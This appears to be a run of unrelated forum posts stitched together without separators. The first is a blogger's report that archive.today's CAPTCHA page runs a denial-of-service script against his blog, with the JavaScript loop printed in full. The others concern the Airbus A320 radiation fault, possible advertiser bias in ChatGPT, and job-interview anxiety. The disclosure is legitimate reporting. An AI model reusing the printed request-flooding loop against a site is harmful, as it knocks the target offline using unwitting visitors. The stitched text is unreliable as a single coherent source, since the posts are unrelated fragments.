Around January 11, 2026, archive.today (aka archive.is, archive.md, etc) started using its users as proxies to conduct a distributed denial of service (DDOS) attack against Gyrovague, my personal blog. All users encountering archive.today’s CAPTCHA page currently load and execute the following Javascript

        setInterval(function() {
            fetch("https://gyrovague.com/?s" + Math.random().toString(36).substring(2, 3 + Math.random() * 8), {
                referrerPolicy: "no-referrer",
                mode: "no-cors"
            });
        }, 300);

If anyone has an article with more technical details on what the solar radiation did, and how they're going to patch it, I'd like to read about it :)

Airbus said it discovered the issue after an investigation into an incident in which a plane flying between the US and Mexico suddenly lost altitude in October.

The JetBlue Airways flight made an emergency landing in Florida after at least 15 people were injured.

The problem identified with A320 aircrafts relates to a piece of computing software which calculates a plane's elevation.

Airbus discovered that, at high altitudes, its data could be corrupted by intense radiation released periodically by the Sun.

The A320 family are what is known as "fly by wire" planes. This means there is no direct mechanical link between the controls in the cockpit and the parts of the aircraft that actually govern flight, with the pilot's actions processed by a computer.

I don't think we realize how good we have it right now. ChatGPT is unbiased (configurable solely and fully by the user) and truly tries its best to be useful. It's surely a question of time before OpenAI lets advertisers pay them to introduce product placement and subconscious biases into the LLM in exchange for cash. This could make eg. all medical advice it gives make it seem like you need one specific, sponsoring, medication. What alternatives are there for getting the current experience when that happens? I wouldn't mind paying a small subscription to cover compute costs and retain neutrality.

Hey I've been studying and using various tech and programming frameworks for years. I don't know the best way to leverage my experience to recruiters and I'm afraid of choking in an interview and not getting a job I really thought I wanted. What have been some tips and advice you received that helped you push past your anxieties? I feel like I'm starting from nowhere when I read job descriptions online for code debugger or data infrastructure engineers. I run a self hosted server and I'm proficient in terminal and diagnosing errors through logs. Would recruiters be interested in hearing the ways I solved problems more than my applicable education? Also does anybody have stories of job fairs that went well or went bad?

If this isn't topical to c/tech let me know and I will post this somewhere else

Sounds interesting, and I get much of what he said, but I'm not qualified to judge. Sounds great, and not just for AI, though that seems the company's focus. Thoughts?
